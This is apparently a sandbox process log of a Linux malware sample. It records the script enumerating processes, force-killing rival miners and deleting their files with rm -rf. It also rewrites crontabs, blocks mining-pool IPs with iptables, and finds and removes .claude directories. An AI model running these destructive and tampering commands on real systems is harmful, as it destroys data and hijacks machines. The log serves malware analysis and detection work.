/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/200/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/201/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/21/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/22/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/23/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/24/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/25/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/252/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/26/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/267/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/27/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/28/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/29/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/3/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/30/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/31/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/32/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/34/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/35/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/354/status2⤵
-
-
/bin/readlinkreadlink /proc/354/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/356/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/36/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/4/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/441/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/442/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/464/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/469/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/470/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/473/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/474/status2⤵
-
-
/bin/readlinkreadlink /proc/474/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/475/status2⤵
-
-
/bin/readlinkreadlink /proc/475/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/476/status2⤵
-
-
/bin/readlinkreadlink /proc/476/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/477/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/478/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/485/status2⤵
-
-
/bin/readlinkreadlink /proc/485/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/490/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/491/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/494/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/5/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/520/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/521/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/542/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/555/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/561/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/575/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/598/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/599/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/6/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/645/status2⤵
-
-
/bin/readlinkreadlink /proc/645/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/646/status2⤵
-
-
/bin/readlinkreadlink /proc/646/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/648/status2⤵
-
-
/bin/readlinkreadlink /proc/648/exe2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/654/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/666/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/668/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/695/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/7/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/704/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/714/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/78/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/79/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/8/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/80/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/81/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/82/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/83/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/84/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/86/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/862/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/89/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/899/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/9/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/904/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/907/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/921/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/926/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/940/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/946/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/959/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/963/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/966/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/967/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/972/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/98/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/982/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/986/status2⤵
-
-
/usr/bin/awkawk "/^Uid:/{print \$2}" /proc/995/status2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/trtr "\\0" " "2⤵
-
-
/usr/bin/pkillpkill -9 -f auditsd2⤵
-
-
/usr/bin/pkillpkill -9 -f gt_sys_health2⤵
-
-
/usr/bin/pkillpkill -9 -f gt_cron_health2⤵
-
-
/usr/bin/pkillpkill -9 -f gt_sys_wd2⤵
-
-
/usr/bin/pkillpkill -9 -f ssl-compet2⤵
-
-
/usr/bin/pkillpkill -9 -f sslmon2⤵
-
-
/usr/bin/pkillpkill -9 -f mnmonitor2⤵
-
-
/usr/bin/pkillpkill -9 -f cpuhide2⤵
-
-
/usr/bin/pkillpkill -9 -f "\\.xmon"2⤵
-
-
/usr/bin/pkillpkill -9 -f "\\.global"2⤵
-
-
/usr/bin/pkillpkill -9 -f rsysloged2⤵
-
-
/usr/bin/pkillpkill -9 -f "\\.sd-top"2⤵
-
-
/usr/bin/pkillpkill -9 -f zzh2⤵
-
-
/usr/bin/pkillpkill -9 -f esocket42⤵
-
-
/usr/bin/pkillpkill -9 -f "ok\\.sh"2⤵
-
-
/usr/bin/pkillpkill -9 -f universal-miner2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f unicorn2⤵
-
-
/usr/bin/pkillpkill -9 -f kthrotlds2⤵
- Reads runtime system information
-
-
/usr/bin/pkillpkill -9 -f kdevtmpfsi2⤵
-
-
/usr/bin/pkillpkill -9 -f khugepageds2⤵
-
-
/usr/bin/pkillpkill -9 -f "CRON jobs"2⤵
-
-
/usr/bin/pkillpkill -9 -f "sleep 180"2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f "sh jobs"2⤵
-
-
/usr/bin/pkillpkill -9 -f "/bin/sh jobs"2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f unicorn2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f apt-update2⤵
-
-
/usr/bin/pkillpkill -9 -f "joker\\."2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f sysnet2⤵
-
-
/usr/bin/pkillpkill -9 -f systemd-journal-shim2⤵
- Reads CPU attributes
-
-
/usr/bin/pkillpkill -9 -f hldaemon2⤵
-
-
/usr/bin/pkillpkill -9 -f /etc/cron2⤵
-
-
/usr/bin/pkillpkill -9 -f /etc/kworker2⤵
-
-
/usr/bin/pkillpkill -9 -f /etc/javaa2⤵
-
-
/usr/bin/pkillpkill -9 -f /dev/shm/javaa2⤵
- Reads runtime system information
-
-
/bin/rmrm -rf /var/tmp/.sysnet /tmp/.sysnet /dev/shm/.sysnet /etc/.sysnet2⤵
-
-
/bin/rmrm -f /etc/cron /etc/kworker /etc/javaa /dev/shm/javaa /var/tmp/javaa /tmp/javaa /etc/cron.d/javaa2⤵
-
-
/bin/sedsed -i "/kworker/d;/javaa/d" /etc/crontab /etc/cron.d/anacron /etc/cron.d/popularity-contest2⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -vE "kworker|javaa|sysnet"2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/bin/rmrm -rf /var/tmp/.gt_sys_health /var/tmp/.gt_sys_health.json /var/tmp/.gt_sys_wd.sh /tmp/.gt_cron_health /tmp/.gt_cron_health.json2⤵
-
-
/bin/rmrm -rf /dev/shm/.xmon-112 "/dev/shm/.xmon*" "/dev/shm/xmon*" "/tmp/.xmon*" "/var/tmp/.xmon*" "~/.cache/.dbus/mnmonitor.sh"2⤵
-
-
/bin/rmrm -rf "/opt/*/bin/.global*" "/opt/teamcity/bin/.global*" "/opt/TeamCity/bin/.global*"2⤵
-
-
/bin/rmrm -rf "/tmp/.global*" "/dev/shm/.global*" "/var/tmp/.global*"2⤵
-
-
/bin/rmrm -rf /tmp/.ICEd-unix /dev/shm/.kerberods /tmp/wc.conf /tmp/log_rot /tmp/apachiii /tmp/sustse /tmp/php /tmp/p2.conf /tmp/pprt /tmp/ppol /tmp/httpgd /etc/httpgd /tmp/1.so /tmp/kworkerds /tmp/kworkerds3 /tmp/kworkerdssx /tmp/xd.json /tmp/syslogd /tmp/syslogdb /tmp/dl /tmp/ddg /tmp/systemxlv /tmp/systemctI /tmp/.abc /tmp/osw.hb /tmp/gates.lod /tmp/conf.n /tmp/devtool /tmp/devtools /tmp/fs "/tmp/.rod*" "/tmp/.mer*" "/tmp/.hod*" /tmp/khugepageds /tmp/.kerberods /tmp/kerberods /tmp/seasame /tmp/.scr /dev/shm/z3.sh /dev/shm/z2.sh /dev/shm/.scr /tmp/baby /tmp/.lib /tmp/systemd /tmp/lib.tar.gz /tmp/java /tmp/j2.conf "/tmp/.pt*" /tmp/go /tmp/go.sh /tmp/go2.sh /tmp/is.sh /tmp/touch /tmp/.p /tmp/runtime2.sh /tmp/runtime.sh2⤵
-
-
/bin/rmrm -f /usr/local/lib/libioset.so /usr/bin/config.json /usr/bin/exin /etc/ndt.sh /etc/is.sh2⤵
-
-
/bin/rmrm -rf /tmp/.b /tmp/.salkidwuewerwe /tmp/.mmmjjsdfsdfwerrwerwer /tmp/.universal-miner /root/.universal-miner "/home/*/.universal-miner"2⤵
-
-
/bin/rmrm -rf /tmp/.b/ded /tmp/.salkidwuewerwe/ded /tmp/.mmmjjsdfsdfwerrwerwer/ded2⤵
-
-
/bin/rmrm -rf "/var/www/.syslog*" "/var/tmp/.syslog*" "/tmp/.syslog*" "/dev/shm/.syslog*"2⤵
-
-
/bin/rmrm -rf /var/lib/gitea/data/home/.claude "/var/www/html/*/.claude" /app/gitea/.claude /data/gitea/.claude /data/gitea/home/.claude /data/gitea/data/home/.claude /data/.claude /data/home/.claude2⤵
-
-
/usr/bin/findfind / -type d -name .claude -not -path "/proc/*" -not -path "/sys/*" -not -path "/dev/*"2⤵
- Reads AppArmor ptrace settings
- Reads hardware information
- Reads network interface configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
-
-
/sbin/iptablesiptables -I OUTPUT -d 95.85.237.226 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 193.41.68.194 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 95.85.237.149 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -p tcp --dport 53535 -j DROP2⤵
-
-
/bin/grepgrep -q apt-update.com /etc/hosts2⤵
-
-
/bin/grepgrep -q joker.aec944b68370194a50.link /etc/hosts2⤵
-
-
/bin/systemctlsystemctl stop moneroocean_miner.service systemde.service2⤵
-
-
/bin/rmrm -rf /tmp/watchdogs /etc/rc.d/init.d/watchdogs /usr/sbin/watchdogs /etc/cron.d/tomcat2⤵
-
-
/usr/bin/findfind / -maxdepth 4 -name ".xmon*" -exec rm -rf "{}" ";"2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind / -maxdepth 4 -name ssl-compet -exec rm -f "{}" ";"2⤵
- Reads runtime system information
-
-
/usr/bin/findfind / -maxdepth 5 -name ".global*" -exec rm -rf "{}" ";"2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind / -maxdepth 5 -name esocket4 -exec rm -f "{}" ";"2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/findfind / -maxdepth 5 -name mnmonitor.sh -exec rm -f "{}" ";"2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind / -maxdepth 5 -name .xmon_install_dir -exec rm -f "{}" ";"2⤵
- Enumerates kernel/hardware configuration
-
-
/usr/bin/findfind / -maxdepth 5 -name "*.universal-miner*" -exec rm -rf "{}" ";"2⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/awkawk -F: "\$3>=1000{print \$1}" /etc/passwd2⤵
-
-
/usr/bin/crontabcrontab -u nobody -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -u nobody -l2⤵
-
-
/usr/bin/crontabcrontab -u user -2⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -vE "gt_sys_wd|xmon|mnmonitor|ssl-compet|pastebin.com/raw"2⤵
-
-
/usr/bin/crontabcrontab -u user -l2⤵
-
-
/bin/sedsed -i /pastebin/d /etc/crontab /etc/cron.d/anacron /etc/cron.d/popularity-contest2⤵
- Creates/modifies Cron job
-
-
/usr/bin/pkillpkill -9 -f pastebin.com/raw2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 45.77.67.39 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 111.90.158.58 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 111.90.139.202 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 47.86.46.179 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 47.86.46.0/24 -j DROP2⤵
-
-
/sbin/iptablesiptables -I OUTPUT -d 167.179.119.120 -j DROP2⤵
-
-
/bin/grepgrep -q fix.unknower.win /etc/hosts2⤵
-
-
/bin/grepgrep -q auto.c3pool.org /etc/hosts2⤵
-
-
/usr/bin/awkawk "/Mem:/{print \$7}"2⤵
-
-
/usr/bin/freefree -m2⤵
-
-
/usr/bin/whichwhich cd12⤵
-
-
/usr/bin/whichwhich wd12⤵
-
-
/usr/bin/pgreppgrep -f xmrig2⤵
-
-
/usr/bin/pgreppgrep -f minerd2⤵
-
-
/usr/bin/pgreppgrep -f cpuminer2⤵
-
-
/usr/bin/pgreppgrep -f ethminer2⤵
-
-
/usr/bin/pgreppgrep -f nbminer2⤵
-
-
/usr/bin/pgreppgrep -f t-rex2⤵
-
-
/usr/bin/pgreppgrep -f lolminer2⤵
-
-
/usr/bin/pgreppgrep -f pheonixminer2⤵
-
-
/usr/bin/pgreppgrep -f bminer2⤵
-
-
/usr/bin/pgreppgrep -f gminer2⤵
-
-
/usr/bin/pgreppgrep -f teamredminer2⤵
-
-
/usr/bin/pgreppgrep -f nanominer2⤵
-
-
/usr/bin/pgreppgrep -f srbminer2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
